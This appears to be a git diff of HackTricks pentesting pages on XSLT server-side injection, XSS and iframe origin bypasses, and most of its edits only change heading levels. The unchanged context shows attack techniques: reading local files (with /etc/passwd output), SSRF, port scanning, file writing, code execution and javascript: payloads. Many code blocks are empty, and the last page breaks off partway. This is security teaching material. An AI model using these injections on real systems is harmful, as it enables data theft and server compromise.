a/pentesting-web/xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md +++ b/pentesting-web/xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md @@ -17,8 +17,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations) - It is used to transform XML documents in another kind. Versions: 1, 2 and 3 (1 is the most used).\ The transformation can be done in the server or in the browser). @@ -26,7 +24,7 @@ The most used frameworks are: **Libxslt** (Gnome), **Xalan** (Apache) and **Saxo In order to exploit this kind of vulnerability you need to be able to store xsl tags in the server side and then access that content. An example of this kind of vulnerability can be found on [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/) -## Example - Tutorial +# Example - Tutorial ```markup sudo apt-get install default-jdk @@ -97,7 +95,7 @@ Warning: at xsl:stylesheet on line 2 column 80 of xsl.xsl: ``` -### Fingerprint +## Fingerprint {% code title="detection.xsl" %} ```markup @@ -124,7 +122,7 @@ Warning: at xsl:stylesheet on line 2 column 80 of detection.xsl:

XSLT identification

Version:2.0
Vendor:SAXON 9.1.0.8 from Saxonica
Vendor URL:http://www.saxonica.com/
``` -### Read Local File +## Read Local File {% code title="read.xsl" %} ```markup @@ -151,7 +149,7 @@ man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin ``` -### SSRF +## SSRF ```markup @@ -161,7 +159,7 @@ lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin ``` -### Versions +## Versions There might be more or less functions depending on the XSLT version used: @@ -169,7 +167,7 @@ There might be more or less functions depending on the XSLT version used: * [https://www.w3.org/TR/xslt20/](https://www.w3.org/TR/xslt20/) * [https://www.w3.org/TR/xslt-30/](https://www.w3.org/TR/xslt-30/) -## Fingerprint +# Fingerprint Upload this and take information @@ -201,14 +199,14 @@ Upload this and take information ``` -## SSRF +# SSRF ```markup ``` -## Javascript Injection +# Javascript Injection ```markup @@ -218,9 +216,9 @@ Upload this and take information ``` -## Directory listing (PHP) +# Directory listing (PHP) -### **Opendir + readdir** +## **Opendir + readdir** ```markup @@ -239,7 +237,7 @@ Upload this and take information ``` -### **Assert (var_dump + scandir + false)** +## **Assert (var_dump + scandir + false)** ```markup @@ -251,9 +249,9 @@ Upload this and take information ``` -## Read files +# Read files -### **Internal - PHP** +## **Internal - PHP** ```markup @@ -263,7 +261,7 @@ Upload this and take information ``` -### **Internal - XXE** +## **Internal - XXE** ```markup @@ -275,7 +273,7 @@ Upload this and take information ``` -### **Through HTTP** +## **Through HTTP** ```markup @@ -294,7 +292,7 @@ Upload this and take information ``` -### **Internal (PHP-function)** +## **Internal (PHP-function)** ```markup @@ -315,7 +313,7 @@ Upload this and take information ``` -### Port scan +## Port scan ```markup @@ -326,9 +324,9 @@ Upload this and take information ``` -## Write to a file +# Write to a file -### XSLT 2.0 +## XSLT 2.0 ```markup @@ -341,7 +339,7 @@ Upload this and take information ``` -### **Xalan-J extension** +## **Xalan-J extension** ```markup @@ -353,7 +351,7 @@ Upload this and take information Other ways to write files in the PDF -## Include external XSL +# Include external XSL ```markup @@ -364,9 +362,9 @@ Other ways to write files in the PDF ``` -## Execute code +# Execute code -### **php:function** +## **php:function** ```markup @@ -391,11 +389,11 @@ xmlns:php="http://php.net/xsl" > Execute code using other frameworks in the PDF -### **More Languages** +## **More Languages** **In this page you can find examples of RCE in other languajes: **[**https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection#C%23%2FVB.NET%2FASP.NET**](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection#C%23%2FVB.NET%2FASP.NET)** (C#, Java, PHP)** -## **Access PHP static functions from classes** +# **Access PHP static functions from classes** The following function will call the static method `stringToUrl` of the class XSL: @@ -416,11 +414,11 @@ version="1.0"> (Example from [http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls](http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls)) -## **Brute-Force Detection List** +# **Brute-Force Detection List** {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt" %} -## **References** +# **References** * [XSLT_SSRF](https://feelsec.info/wp-content/uploads/2018/11/XSLT_SSRF.pdf)\ diff --git a/pentesting-web/xss-cross-site-scripting/README.md b/pentesting-web/xss-cross-site-scripting/README.md index f7f7bcb8..775c7fc3 100644 --- a/pentesting-web/xss-cross-site-scripting/README.md +++ b/pentesting-web/xss-cross-site-scripting/README.md @@ -24,9 +24,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) {% embed url="https://go.intigriti.com/hacktricks" %} {% endhint %} -## XSS (Cross Site Scripting) +# XSS (Cross Site Scripting) -### Methodology +## Methodology 1. Check if **any value you control** (_parameters_, _path_, _headers_?, _cookies_?) is being **reflected** in the HTML or **used** by **JS** code. 2. **Find the context** where it's reflected/used. @@ -57,7 +57,7 @@ When working on a complex XSS you might find interesting to know about: [debugging-client-side-js.md](debugging-client-side-js.md) {% endcontent-ref %} -### Reflected values +## Reflected values In order to successfully exploit a XSS the first thing you need to find is a **value controlled by you that is being reflected** in the web page. @@ -65,16 +65,16 @@ In order to successfully exploit a XSS the first thing you need to find is a **v * **Stored and reflected**: If you find that a value controlled by you is saved in the server and is reflected every time you access a page you could exploit a **Stored XSS**. * **Accessed via JS**: If you find that a value controlled by you is being access using JS you could exploit a **DOM XSS**. -### Contexts +## Contexts When trying to exploit a XSS the first thing you need to know if **where is your input being reflected**. Depending on the context, you will be able to execute arbitrary JS code on different ways. -#### Raw HTML +### Raw HTML If your input is **reflected on the raw HTML** page you will need to abuse some **HTML tag** in order to execute JS code: ` ``` -#### Within the attribute +### Within the attribute Even if you **cannot escape from the attribute** (`"` is being encoded or deleted), depending on **which attribute** your value is being reflected in **if you control all the value or just a part** you will be able to abuse it. For **example**, if you control an event like `onclick=` you will be able to make it execute arbitrary code when it's clicked.\ Another interesting **example** is the attribute `href`, where you can use the `javascript:` protocol to execute arbitrary code: **`href="javascript:alert(1)"`** @@ -291,7 +291,7 @@ Note that **any kind of HTML encode is valid**: ``` -#### Special Protocols Within the attribute +### Special Protocols Within the attribute There you can use the protocols **`javascript:`** or **`data:`** in some places to **execute arbitrary JS code**. Some will require user interaction on some won't. @@ -373,7 +373,7 @@ You can use **Hex** and **Octal encode** inside the `src` attribute of `iframe` ``` -#### Reverse tab nabbing +### Reverse tab nabbing ```javascript +## Iframes with CSP {% hint style="info" %} Please, note how in the following bypasses the response to the iframed page doesn't contain any CSP header that prevents JS execution. @@ -116,7 +115,7 @@ if __name__ == "__main__": app.run() ``` -#### Other Payloads found on the wild +## Other Payloads found on the wild ```html @@ -127,7 +126,7 @@ if __name__ == "__main__": ``` -#### Iframe sandbox +## Iframe sandbox The `sandbox` attribute enables an extra set of restrictions for the content in the iframe. **By default, no restriction is applied.** @@ -148,7 +147,7 @@ The value of the `sandbox` attribute can either be empty (then all restrictions ``` -### Iframes in SOP +# Iframes in SOP In this [**challenge**](https://github.com/terjanq/same-origin-xss) created by [**NDevTK**](https://github.com/NDevTK) and [**Terjanq**](https://github.com/terjanq) **** you need you need to exploit a XSS in the coded @@ -165,17 +164,17 @@ onmessage = e => { The main problem is that the [**main page**](https://so-xss.terjanq.me) uses DomPurify to send the `data.body`, so in order to send your own html data to that code you need to **bypass** `e.origin !== window.origin`. -#### SOP bypass 1 +## SOP bypass 1 When `//example.org` is embeded into a **sandboxed iframe**, then the page's **origin** will be **`null`**, i.e. `window.origin === 'null'`. So just by embedding the iframe via `